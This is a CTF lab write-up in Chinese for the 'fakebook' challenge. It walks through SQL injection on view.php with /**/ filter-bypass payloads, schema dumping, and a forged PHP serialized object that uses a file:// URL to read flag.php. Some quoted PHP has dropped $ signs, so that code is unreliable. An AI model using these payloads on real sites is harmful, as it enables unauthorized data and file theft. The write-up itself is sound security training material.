fakebook-攻防世界

题目

先目录扫描一下

dirseach

打开flag.php是空白的

访问robots.txt,访问user.php.bak

<?php

class UserInfo

{

public $name = "";

public $age = 0;

public $blog = "";

public function __construct(name, age, $blog)

{

this-\>name = name;

this-\>age = (int)age;

this-\>blog = blog;

}

function get($url)

{

$ch = curl_init();

curl_setopt(ch, CURLOPT_URL, url);

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

output = curl_exec(ch);

httpCode = curl_getinfo(ch, CURLINFO_HTTP_CODE);

if($httpCode == 404) {

return 404;

}

curl_close($ch);

return $output;

}

public function getBlogContents ()

{

return this-\>get(this->blog);

}

public function isValidBlog ()

{

blog = this->blog;

return preg_match("/^(((http(s?))\:\/\/)?)(0-9a-zA-Z\\-+\.)+a-zA-Z{2,6}(\:0-9+)?(\/\S*)?/i", blog);

}

}

但是好像没用

正常注册一下

这里发现有no=1试一试sql注入

加个'报错 可能存在注入

1 and 1=1 正常

1 and 1=2 报错

1' and 1=1 --+报错

1' and 1=2 --+报错

确定是数字型注入

爆字段1 order by 4正常

1 order by 5报错,确定字段是4

爆显位

1 union select 1,2,3,4

但是被过滤了

SQL注入一些过滤及绕过总结_sql注入过滤-CSDN博客

union 和select被前端过滤了,用unicode和<>绕过过滤是不可行的,只有/**/union /**/select可以绕过:

view.php?no=2 UniOn select 1,2,3,4#

view.php?no=2 union SelEct 1,2,3,4#

view.php?no=2 uunionnion selselectect 1,2,3,4#

view.php?no=2 union/**/select 1,2,3,4#

view.php?no=2 union++select 1,2,3,4#

no=-1 /**/union /**/select 1,2,3,4

说明显位是2

爆库名

view.php?no=2 union++select 1,user(),3,4#

view.php?no=2 union++select 1,database(),3,4#

-1 /**/union /**/select 1,group_conact(schema_name),3,4 from information_schema.schemata

爆表名

-1 /**/union /**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema="fakebook"

爆字段

-1 /**/union /**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema="fakebook"

爆数据

-1 /**/union /**/select 1,group_concat(data),3,4 from fakebook.users

发现是我们注册时被序列化的数据

O:8:"UserInfo":3:{s:4:"name";s:5:"20_aw";s:3:"age";i:20;s:4:"blog";s:10:"www.aw.com";}

得到一个现成的序列化数据我们能否模仿

通过之前查的数据username是字段2,猜测data是字段4按顺序来嘛

no=2 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"20_aw";s:3:"age";i:20;s:4:"blog";s:10:"www.aw.com";} '

页面正常起来了

注意no现在的值为2,我们知道这个用户是不存在的。换而言之,原SQL语句的查询结果为空,而我们通过union加入了我们构造的查询语句,让SQL语句有了查询结果,并且此查询结果符合页面渲染要求,所以页面正常显示了。

并且由此得知,只要有data字段的对象序列,就可以成功渲染页面,其他字段并不是很重要。(页面中age和blog的值,显然也都是从序列化的对象里面得到的)

利用php伪协议读取,flag文件嘛

修改序列化中的blog参数,路径之前报错算是提示吧,而且一般都是默认路径

s:4:"blog";s:29:"file:///var/www/html/flag.php";

no=2 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"20_aw";s:3:"age";i:20;s:4:"blog";s:29:"file:///var/www/html/flag.php";} '

打开源代码中发现

点击

相关推荐
Aphasia3111 天前
VPN 与内网穿透
安全
Mr_愚人派2 天前
当"Claude"不再是 Claude:一次第三方 API 代理引发的 AI 身份伪造排查实录
人工智能·安全
DaLi Yao3 天前
【无标题】
人工智能·安全
Alsn863 天前
等待学习-学习目录:Docker 容器安全攻防
学习·安全·docker
网络研究院3 天前
2026年网络安全
网络·安全·法律·法规·趋势·发展
treesforest3 天前
AI安全系统如何识别异常访问?IP风险识别正在成为关键能力
网络·人工智能·tcp/ip·安全·web安全
零零信安3 天前
零零信安荣登数世咨询《新质·数字安全专精百强(2026)》暗网情报领域,彰显专业实力与创新引领
安全·网络安全·数据泄露·暗网·零零信安
开发小能手-roy3 天前
StringBuilder vs StringBuffer:2024年还需要线程安全字符串吗?
开发语言·python·安全
_阿伟_3 天前
JWT介绍
安全
zhengfei6113 天前
小白级手册——全面剖析红队信息收集思考
网络·安全·web安全